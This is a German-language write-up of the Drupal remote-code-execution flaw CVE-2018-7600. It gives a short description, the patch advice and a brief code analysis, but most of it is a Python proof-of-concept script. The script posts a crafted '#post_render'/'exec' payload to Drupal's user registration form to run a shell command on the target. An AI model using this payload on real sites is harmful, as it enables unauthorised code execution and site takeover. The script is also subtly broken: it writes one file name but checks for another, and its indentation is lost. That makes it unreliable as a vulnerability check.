
CVE-2018-7600.
Drupal RCE CVE-2018-7600
Vergiss nicht, deine Adresse in das Skript einzutragen! Beschreibung: Eine Schwachstelle zur Remote-Codeausführung besteht in mehreren Subsystemen von Drupal 7.x und 8.x. Dies ermöglicht Angreifern potenziell, mehrere Angriffsvektoren auf einer Drupal-Website auszunutzen, was zur vollständigen Kompromittierung der Website führen kann.
Lösung: Aktualisieren Sie auf die neueste Version von Drupal 7 oder 8 Core.
Wenn Sie 7.x verwenden, aktualisieren Sie auf Drupal 7.58. (Wenn Sie nicht sofort aktualisieren können, können Sie versuchen, diesen Patch anzuwenden, um die Schwachstelle zu beheben, bis Sie vollständig aktualisieren können.) Wenn Sie 8.5.x verwenden, aktualisieren Sie auf Drupal 8.5.1. (Wenn Sie nicht sofort aktualisieren können, können Sie versuchen, diesen Patch anzuwenden, um die Schwachstelle zu beheben, bis Sie vollständig aktualisieren können.)
#!/usr/bin/python2.7
'''_____________________________________________________________________
|[] R3DXPL0IT SHELL |ROOT]|!"|
|"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|"|
|CODED BY > R3DXPLOIT(JIMMY) | |
|EMAIL > [email protected] | |
|GITHUB > https://github.com/r3dxpl0it | |
|WEB-PAGE > https://r3dxpl0it.Github.io |_|
|_____________________________________________________________________|/|
'''
'''
https://nvd.nist.gov/vuln/detail/CVE-2018-7600#
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
'''
import sys
import requests
def exploit(target):
pass
proxies = {}
verify = False
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "vulnerable to cve-7600-2018 exploit" | tee r3dxploit.txt'}
url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
print ( '[*]' + ' requesting post')
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
try:
scan = requests.get(target + 'vulnerable.txt')
if scan.status_code != 200:
print ( ' not vulnerable to cve-2018-7600 exploit \n')
if scan.status_code == 200:
print (' vulnerable to cve-2018-7600 exploit')
print (' url: ' + target + 'vulnerable.txt \n')
except requests.ConnectionError:
print (' target connection timeout')
except Exception as e :
print ('Connction Failed ' + e )
if __name__ == '__main__':
exploit(sys.argv[1])
Codeanalyse.
main -> exploit
argv[1] – Zielargument scan. status_code – Ergebnis wird basierend auf dem Statuscode-Wert ausgegeben Ereignis-/Ausnahmebehandlung